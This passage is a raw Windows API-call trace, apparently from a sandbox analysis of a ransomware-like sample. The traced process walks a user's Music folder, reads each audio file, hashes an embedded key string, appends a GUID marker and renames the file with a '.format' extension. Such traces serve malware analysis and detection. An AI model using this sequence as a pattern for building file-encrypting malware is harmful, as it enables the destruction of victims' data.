RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.744] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\") returned="ZhcquXKYxwu7mV\\" [0069.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\") returned="VaIh-oYg6BJgtgDU7\\" [0069.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\") returned="3m1P\\" [0069.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\") returned="c8v-4o\\" [0069.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0069.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.745] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eca0 | out: hHeap=0x5d0000) returned 1 [0069.745] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.745] PathFindFileNameW (pszPath="") returned="" [0069.745] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c47cf40, ftCreationTime.dwHighDateTime=0x1d4d006, ftLastAccessTime.dwLowDateTime=0xe76c0660, ftLastAccessTime.dwHighDateTime=0x1d4c7ed, ftLastWriteTime.dwLowDateTime=0xe76c0660, ftLastWriteTime.dwHighDateTime=0x1d4c7ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.745] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c47cf40, ftCreationTime.dwHighDateTime=0x1d4d006, ftLastAccessTime.dwLowDateTime=0xe76c0660, ftLastAccessTime.dwHighDateTime=0x1d4c7ed, ftLastWriteTime.dwLowDateTime=0xe76c0660, ftLastWriteTime.dwHighDateTime=0x1d4c7ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.745] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf85a0b00, ftCreationTime.dwHighDateTime=0x1d4cba5, ftLastAccessTime.dwLowDateTime=0x9b76320, ftLastAccessTime.dwHighDateTime=0x1d4ca43, ftLastWriteTime.dwLowDateTime=0x9b76320, ftLastWriteTime.dwHighDateTime=0x1d4ca43, nFileSizeHigh=0x0, nFileSizeLow=0x98f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j Bzi11dBX.m4a", cAlternateFileName="JBZI11~1.M4A")) returned 1 [0069.745] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\j Bzi11dBX.m4a") returned=".m4a" [0069.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\j Bzi11dBX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\j bzi11dbx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.745] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=39154) returned 1 [0069.745] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.748] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x98cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.748] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.749] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x98f2, lpOverlapped=0x0) returned 1 [0069.749] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.749] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.749] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.749] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.750] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.750] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.750] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.750] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.750] GetLastError () returned 0x0 [0069.750] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.750] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.750] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.751] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x98f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.751] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.751] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.751] CloseHandle (hObject=0x5c8) returned 1 [0069.752] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\j Bzi11dBX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\j bzi11dbx.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\j Bzi11dBX.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\j bzi11dbx.m4a.format")) returned 1 [0069.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.753] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.753] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x319e178 | out: hHeap=0x5d0000) returned 1 [0069.754] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf63c7fd0, ftCreationTime.dwHighDateTime=0x1d4d535, ftLastAccessTime.dwLowDateTime=0x65a7d3c0, ftLastAccessTime.dwHighDateTime=0x1d4ca7c, ftLastWriteTime.dwLowDateTime=0x65a7d3c0, ftLastWriteTime.dwHighDateTime=0x1d4ca7c, nFileSizeHigh=0x0, nFileSizeLow=0x13797, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lrQc.mp3", cAlternateFileName="")) returned 1 [0069.754] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\lrQc.mp3") returned=".mp3" [0069.754] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\lrQc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\lrqc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.754] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=79767) returned 1 [0069.754] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.756] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13771, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.756] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.757] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x13797, lpOverlapped=0x0) returned 1 [0069.758] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.758] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.758] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.758] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.758] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.759] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.759] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.759] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.759] GetLastError () returned 0x0 [0069.759] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.759] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.759] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.759] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13797, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.759] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.759] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.760] CloseHandle (hObject=0x5c8) returned 1 [0069.761] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\lrQc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\lrqc.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\lrQc.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\lrqc.mp3.format")) returned 1 [0069.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.761] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x319e178 | out: hHeap=0x5d0000) returned 1 [0069.762] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115202c0, ftCreationTime.dwHighDateTime=0x1d4caac, ftLastAccessTime.dwLowDateTime=0xba7cbe60, ftLastAccessTime.dwHighDateTime=0x1d4d224, ftLastWriteTime.dwLowDateTime=0xba7cbe60, ftLastWriteTime.dwHighDateTime=0x1d4d224, nFileSizeHigh=0x0, nFileSizeLow=0xadc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qIBKN1tzN.wav", cAlternateFileName="QIBKN1~1.WAV")) returned 1 [0069.762] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\qIBKN1tzN.wav") returned=".wav" [0069.762] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\qIBKN1tzN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\qibkn1tzn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.762] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=44484) returned 1 [0069.763] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.765] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xad9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.765] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.766] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xadc4, lpOverlapped=0x0) returned 1 [0069.766] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.766] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.766] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.766] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.767] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.767] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.767] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.767] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.767] GetLastError () returned 0x0 [0069.767] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.767] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.767] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.768] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xadc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.768] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.768] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.769] CloseHandle (hObject=0x5c8) returned 1 [0069.770] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\qIBKN1tzN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\qibkn1tzn.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\qIBKN1tzN.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\qibkn1tzn.wav.format")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dca8fb0, ftCreationTime.dwHighDateTime=0x1d4c958, ftLastAccessTime.dwLowDateTime=0xebd7d5a0, ftLastAccessTime.dwHighDateTime=0x1d4cd77, ftLastWriteTime.dwLowDateTime=0xebd7d5a0, ftLastWriteTime.dwHighDateTime=0x1d4cd77, nFileSizeHigh=0x0, nFileSizeLow=0x94d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SRxR.m4a", cAlternateFileName="")) returned 1 [0069.856] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\SRxR.m4a") returned=".m4a" [0069.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\ZhcquXKYxwu7mV\\SRxR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\zhcquxkyxwu7mv\\srxr.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.857] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=38102) returned 1 [0069.857] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.859] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x94b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.859] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.860] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x94d6, lpOverlapped=0x0) returned 1 [0069.860] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.860] lstrlenA 